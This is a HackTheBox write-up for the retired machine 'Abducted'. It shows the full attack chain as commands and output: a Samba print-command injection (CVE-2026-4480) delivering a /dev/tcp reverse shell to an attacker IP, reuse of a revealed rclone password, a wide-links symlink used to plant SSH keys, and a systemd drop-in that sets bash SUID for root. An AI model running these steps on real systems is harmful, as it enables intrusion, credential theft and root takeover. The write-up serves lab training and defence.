root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat abducted.md
// writeups

Abducted

5 Jun 2026 · 18 min read
writeupshacktheboxlinuxMediumretired
Abducted - maquina de Hack The Box

Executive summary — Abducted exposes a Samba printer share (HP-Reception) writable by a guest user, vulnerable to CVE-2026-4480: a command injection in the print command via the print job's document name. This gives unauthenticated RCE as nobody. An «obscured» (not encrypted) rclone backup password is revealed and turns out to be reused by the real SSH account of scott. Another misconfigured share (wide links + force user) allows dropping an SSH key into marcus's $HOME through a symlink that escapes the share tree. Marcus belongs to the operators group, owner of a systemd drop-in directory for the smbd service — enough to inject an ExecStartPre that SUIDs bash when the service restarts.

PlatformHack The Box
Operating systemLinux
DifficultyMedium
StatusRetired
Target IP10.129.244.177

Attack map

[SMB] HP-Reception — guest write + unsanitized %J print command
   │  CVE-2026-4480 — command injection via RPC spoolss (document_name = "|sh")
   ▼
[RCE]  nobody (reverse shell)
   │  Obscured rclone credential (/opt/offsite-backup/rclone.conf) → rclone reveal
   ▼
[SSH]  scott@host
   │  transfer share: wide links + force user=marcus → symlink into marcus's $HOME
   │  marcus's authorized_keys written over SMB
   ▼
[SSH]  marcus@host  (operators group)
   │  Writable systemd drop-in in smbd.service.d
   │  ExecStartPre → chmod +s /bin/bash on smbd restart
   ▼
[ROOT]  bash -p

1. Reconnaissance

nmap 10.129.244.177 -sCV -A -oN abducted-default
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
...
|_nbstat: NetBIOS name: ABDUCTED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Only two services exposed: SSH and Samba (file and print sharing). The NetBIOS name is ABDUCTED.

2. SMB enumeration — null/guest session

nxc smb 10.129.244.177 -u '' -p '' --shares
SMB   10.129.244.177  445  ABDUCTED  [*] Unix - Samba (name:ABDUCTED) (domain:ABDUCTED) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   10.129.244.177  445  ABDUCTED  [+] ABDUCTED\:
SMB   10.129.244.177  445  ABDUCTED  Share           Permissions     Remark
SMB   10.129.244.177  445  ABDUCTED  HP-Reception    WRITE           Reception printer
SMB   10.129.244.177  445  ABDUCTED  projects                        Hartley Group Project Files
SMB   10.129.244.177  445  ABDUCTED  transfer                        Staff file transfer
SMB   10.129.244.177  445  ABDUCTED  IPC$                            IPC Service (Hartley Group Document Services)

Key finding: null/guest auth enabled, and the HP-Reception share (a reception printer) is writable by an anonymous user. Suspicious: a printer share should normally only accept print jobs, but showing up as WRITE for guest means the print subsystem itself can be interacted with, unauthenticated.

Later, once inside the system, the full config (/etc/samba/smb.conf + /etc/samba/shares.conf) confirms the design:

[global]
   workgroup = WORKGROUP
   server string = Hartley Group Document Services
   netbios name = ABDUCTED
   map to guest = Bad User
   guest account = nobody
   security = user
   printing = sysv
   load printers = no
   disable spoolss = no
   unix extensions = no
   allow insecure wide links = yes
   log level = 0
   include = /etc/samba/shares.conf

[HP-Reception]
   comment = Reception printer
   path = /var/spool/samba
   printable = yes
   guest ok = yes
   print command = /usr/local/bin/printaudit %J %s
   lpq command = /bin/true
   lprm command = /bin/true

[projects]
   comment = Hartley Group Project Files
   path = /srv/projects
   valid users = scott
   read only = no
   browseable = yes

[transfer]
   comment = Staff file transfer
   path = /srv/transfer
   valid users = scott
   force user = marcus
   read only = no
   wide links = yes
   browseable = yes

Two critical configs, used in later phases: HP-Reception (guest ok = yes + a vulnerable print command — see phase 3) and transfer (force user = marcus + wide links = yes, allowing writes outside the share tree as marcus — see phase 5).

3. Foothold — CVE-2026-4480 (Samba print command injection)

The print command configured for HP-Reception is:

print command = /usr/local/bin/printaudit %J %s

Samba substitutes %J with the print job's document name (DocumentInfo1.document_name), a value fully controlled by the client when starting the job over RPC spoolss (StartDocPrinter). This value is passed with no shell-metacharacter sanitization to the configured command, which Samba runs via system()/popen() (through a shell). If document_name is |sh, the resulting command becomes /usr/local/bin/printaudit |sh /var/spool/samba/<spoolfile> — the shell reads | as a pipe, runs printaudit with no arguments and pipes its output to sh <spoolfile>, i.e. it runs the entire spool file's content as a script — the print job's body, written by the client via WritePrinter. Unauthenticated RCE, since the share allows guest ok = yes.

$ cat /usr/local/bin/printaudit
#!/bin/sh
echo "$(date '+%Y-%m-%d %H:%M:%S') job=$1" >> /var/log/printaudit.log

The script itself is harmless (just logging) — irrelevant: the vulnerability lives in how Samba builds the command line with %J, unquoted/unescaped, before invoking the shell; printaudit never runs as intended because the injected pipe redirects it.

Public PoC used: TheCyberGeek/CVE-2026-4480-PoC, which uses Samba's Python bindings to speak RPC spoolss directly: opens the guest printer (OpenPrinter), starts a document with document_name = "|sh" (the payload landing in %J), and writes a reverse-shell script as the document body via WritePrinter (what runs as %s):

info.document_name = "|sh"                 # this is what lands in %J
...
iface.WritePrinter(handle, body, len(body))  # this is %s, run as a script
"setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n"

It has to be non-empty (Samba skips the print command for a 0-byte spool file) and needs setsid ... & to detach, since the command runs synchronously inside EndDocPrinter — a foreground shell would block the RPC/smbd.

ip a | grep -A2 tun0
inet <ATTACKER_IP>/23 ... tun0
nc -lvnp 8443
cd CVE-2026-4480-PoC
python3 exploit.py 10.129.244.177 <ATTACKER_IP> 8443 -P HP-Reception
[*] target   : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : <ATTACKER_IP>:8443  (start a listener first: nc -lvnp 8443)
[+] print job submitted -- check your listener / out-of-band channel
listening on [any] 8443 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.244.177] 52624
bash: cannot set terminal process group (1552): Inappropriate ioctl for device
bash: no job control in this shell
nobody@abducted:/var/spool/samba$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

On this instance the shell landed as nobody (the guest account configured via guest account = nobody) — the mechanism is identical, only the configured guest identity changes.

python3 -c 'import pty; pty.spawn("/bin/bash")'

4. Post-exploitation — rclone credentials and SSH as scott (user.txt)

find / -type f -name "*.conf" 2>/dev/null | grep -Ev "^/usr/|^/etc/"
/var/lib/ucf/cache/:etc:samba:smb.conf
/var/lib/ucf/cache/:etc:rsyslog.d:50-default.conf
/opt/offsite-backup/rclone.conf
cat /opt/offsite-backup/rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix

The password is in rclone's «obscured» (not secret-encrypted) format — a reversible AES-CTR scheme with a fixed key embedded in the rclone binary itself (documented; its purpose is only to avoid accidental plaintext passwords in the .conf, not to protect them from an attacker).

curl -sL https://downloads.rclone.org/rclone-current-linux-amd64.zip -o rclone.zip
unzip -o rclone.zip
cd rclone-v1.74.4-linux-amd64
chmod +x rclone
./rclone reveal "HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw"
iXzvcib3SrpZ

Consistency check (round-trip obscure→reveal, since obscure uses a random IV so the obscured value differs but the revealed value must match):

./rclone obscure "iXzvcib3SrpZ"
# R88dQOZMMnePOOl_5ScI19re_FVBcYXPxAeXHw
./rclone reveal "R88dQOZMMnePOOl_5ScI19re_FVBcYXPxAeXHw"
# iXzvcib3SrpZ
cat /etc/passwd | grep -E 'sh$'
root:x:0:0:root:/root:/bin/bash
scott:x:1000:1001:Scott Mercer:/home/scott:/bin/bash
marcus:x:1001:1002:Marcus Vale:/home/marcus:/bin/bash

The revealed password (from the svc-backup service account) reused against real system users:

sshpass -p 'iXzvcib3SrpZ' ssh scott@10.129.244.177 "id; whoami; cat /home/scott/user.txt"
uid=1000(scott) gid=1001(scott) groups=1001(scott)
scott
61f09e74a8646f2502421334753d146b

5. Pivoting scott → marcus — abusing wide links + force user

With SSH access as scott, checking the Samba config again from the inside:

force user = marcus: any file operation performed by an authenticated user on the transfer share (here, scott, the only one in valid users) runs on the filesystem with marcus's permissions, not scott's. wide links = yes combined with allow insecure wide links = yes (global): Samba, by default, refuses to follow symlinks pointing outside the share tree; this directive disables that protection, letting a symlink inside /srv/transfer point anywhere on the system (e.g. /home/marcus) and letting the SMB client read/write through it.

ls -la /srv/transfer
# drwxr-xr-x 2 scott scott 4096 ... .

scott owns /srv/transfer, so they can create the symlink directly over their SSH session.

# On Kali: generate a key pair
ssh-keygen -q -t ed25519 -N '' -f marcus_key

# Over SSH as scott: symlink escaping the share tree into marcus's home
ssh scott@10.129.244.177 "ln -s /home/marcus /srv/transfer/keys"
# Over SMB (transfer's force user=marcus makes the write land as marcus)
smbclient //10.129.244.177/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'mkdir keys/.ssh; put marcus_key.pub keys/.ssh/authorized_keys'

Walking the keys -> /home/marcus symlink, Samba resolves keys/.ssh/authorized_keys as /home/marcus/.ssh/authorized_keys, and since the share forces every operation to run as marcus, the .ssh directory and the file are created owned by marcus, inside their own $HOME — something scott couldn't do directly under normal Unix permissions (no SSH access to marcus's home).

ssh -i marcus_key marcus@10.129.244.177 "id; whoami; hostname"
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)
marcus
abducted

Access as marcus confirmed. Note marcus also belongs to the secondary group operators — key to the final escalation.

6. Privilege escalation — writable systemd drop-in in smbd.service.d (root.txt)

id
# uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

find / -group operators 2>/dev/null
# /etc/systemd/system/smbd.service.d
ls -la /etc/systemd/system/smbd.service.d/
drwxrws--- 2 root operators 4096 Jun  4 13:41 .
drwxr-xr-x 26 root root      4096 Jun  4 13:41 ..

The smbd.service.d directory holds systemd drop-ins for smbd.service: any .conf file placed there gets merged (as an override) into the original unit on daemon-reload. It has the setgid bit set and belongs to the operators group, which marcus is a member of — marcus can write files into it. A classic misconfiguration-driven privilege escalation: any user who can write a drop-in for a systemd service that runs (or restarts) as root can define ExecStartPre=, run as root right before the service starts.

cat > /etc/systemd/system/smbd.service.d/daffy.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF

systemctl daemon-reload
systemctl restart smbd

marcus has no sudo, but could run systemctl daemon-reload and systemctl restart smbd directly with no elevated shell privileges — systemd/polkit allows members of the operators group to manage (at least) this unit, consistent with the group's purpose of administering services.

The restart initially hung in deactivating (final-sigterm) for a few seconds:

Active: deactivating (final-sigterm) since ...
Process: 1418 ExecStart=/usr/sbin/smbd ... (code=killed, signal=TERM)
CGroup: /system.slice/smbd.service
        └─1554 bash -i

Caused by the phase-3 reverse shell process (inherited from smbd's print command) still alive in the same cgroup, keeping systemd from considering the service fully stopped. After systemd's stop timeout (~90s), the process was killed and the service restarted cleanly:

● smbd.service - Samba SMB Daemon
     Loaded: loaded (/usr/lib/systemd/system/smbd.service; enabled; preset: enabled)
    Drop-In: /etc/systemd/system/smbd.service.d
             └─daffy.conf
     Active: active (running) since ...
    Process: 2367 ExecStartPre=/bin/bash -c chmod +s /bin/bash (code=exited, status=0/SUCCESS)
   Main PID: 2369 (smbd)
ls -la /bin/bash
# -rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash
bash -p -c 'id; whoami; cat /root/root.txt'
uid=1001(marcus) gid=1002(marcus) euid=0(root) egid=0(root) groups=0(root),1000(operators),1002(marcus)
root
a7b91c912579ca998a4f88136e65e05a

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdSamba HP-Reception shareCVE-2026-4480 — command injection via the print command (unsanitized %J)Unauthenticated RCE as nobody
Lateral movementrclone backup config (rclone.conf)«Obscured» (not encrypted) password, reused by a real employeeSSH as scott (user.txt)
PivotSamba transfer sharewide links + force user allows symlinks outside the share treeauthorized_keys written as marcus
PrivEscsystemd drop-in (smbd.service.d)Directory writable by the operators groupExecStartPre as root → SUID bash (root.txt)

Lessons learned

  • A «printer» share with guest ok = yes and write enabled is a strong red flag: Samba's printing services invoke configurable external commands with variable substitutions (%J, %s, %p...) derived from client data. If those substitutions don't escape shell metacharacters, any client-controlled field is a command-injection vector.
  • «Obscured» passwords are not encryption: rclone's obscure/reveal format uses a fixed, public AES key embedded in the binary itself — any rclone.conf with a password in that format should be treated as plaintext for practical security purposes.
  • Credential reuse between service accounts and human accounts remains an extremely common and easy-to-check horizontal escalation path.
  • wide links + force user in Samba is a dangerous combination: if an admin disables the standard protection against out-of-tree symlinks on a share with force user, any user with write access to the share's base path can write arbitrarily on the filesystem with the forced user's permissions.
  • Custom groups with write access to /etc/systemd/system/<service>.service.d/ are a direct escalation to root if that service runs as root and the user can trigger its reload/restart — ExecStartPre= is the simplest hook for injecting arbitrary commands as root.
  • Orphaned processes from an earlier exploit can interfere with later system actions: always diagnose with systemctl status/ps/cgroups instead of assuming a slow command has failed.